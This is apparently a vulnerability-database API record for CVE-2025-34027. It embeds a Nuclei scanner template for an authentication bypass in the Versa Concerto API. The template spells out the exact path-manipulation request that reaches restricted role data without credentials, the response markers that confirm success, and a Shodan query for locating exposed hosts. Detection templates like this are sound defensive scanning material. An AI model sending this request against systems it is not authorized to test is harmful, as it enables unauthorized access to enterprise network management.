{
  "_links": {
    "capec": {
      "href": "/api/v1/vulnerability/cve-2025-34027/capec"
    },
    "cvss": {
      "href": "/api/v1/vulnerability/cve-2025-34027/cvss"
    },
    "cwe": {
      "href": "/api/v1/vulnerability/cve-2025-34027/cwe"
    },
    "enrichment": {
      "href": "/api/v1/vulnerability/cve-2025-34027/enrichment"
    },
    "gcve": {
      "href": "/api/v1/vulnerability/cve-2025-34027/gcve"
    },
    "self": {
      "href": "/api/v1/vulnerability/cve-2025-34027"
    },
    "sightings": {
      "href": "/api/v1/sightings/cve-2025-34027"
    }
  },
  "data": {
    "nuclei": true,
    "nuclei_template": "http/cves/2025/CVE-2025-34027.yaml",
    "nuclei_template_severity": "critical",
    "nuclei_template_yaml": "id: CVE-2025-34027\n\ninfo:\n  name: Versa Concerto API Path Based - Authentication Bypass\n  author: iamnoooob,rootxharsh,parthmalhotra,pdresearch\n  severity: critical\n  description: |\n    Authentication bypass in the Versa Concerto API, caused by URL decoding inconsistencies. It allowed unauthorized access to certain API endpoints by manipulating the URL path.This issue enabled attackers to bypass authentication controls and access restricted resources.\n  impact: |\n    Attackers can bypass authentication through URL path manipulation to access restricted API endpoints and retrieve sensitive role information without credentials.\n  remediation: |\n    Upgrade to the latest Versa Concerto version that properly handles URL decoding and path validation in authentication checks.\n  reference:\n    - https://projectdiscovery.io/blog/versa-concerto-authentication-bypass-rce/\n    - https://versa-networks.com/documents/datasheets/versa-concerto.pdf\n    - https://www.cve.org/CVERecord?id=CVE-2025-34027\n    - https://security-portal.versa-networks.com/emailbulletins/6830fa3f28defa375486ff2f\n  classification:\n    cve-id: CVE-2025-34027\n    cwe-id: CWE-367\n    epss-score: 0.4522\n    epss-percentile: 0.98743\n    cpe: cpe:2.3:a:versa-networks:concerto:*:*:*:*:*:*:*:*\n  metadata:\n    verified: true\n    vendor: versa-networks\n    product: concerto\n    max-request: 1\n    shodan-query: http.favicon.hash:-534530225\n  tags: cve,cve2025,versa,concerto,auth-bypass,vkev,vuln\n\nhttp:\n  - raw:\n      - |\n        GET /portalapi/v1/roles/option;%2fv1%2fping HTTP/1.1\n        Host: {{Hostname}}\n\n    matchers-condition: and\n    matchers:\n      - type: word\n        part: body\n        words:\n          - ENTERPRISE_ADMINISTRATOR\n\n      - type: word\n        part: header\n        words:\n          - EECP-CSRF-TOKEN\n# digest: 4b0a00483046022100dce8c88775e1c7eeede82c5f582c41d338ede5ed631a04fdcc03619ad5d3c601022100ed5613fc1db1ad012cb8d722ed34ffd850cea4209cde123955e2fffe61cb80cb:922c64590222798bb761d5b6d8e72950"
  },
  "source": "nuclei",
  "vuln_id": "cve-2025-34027"
}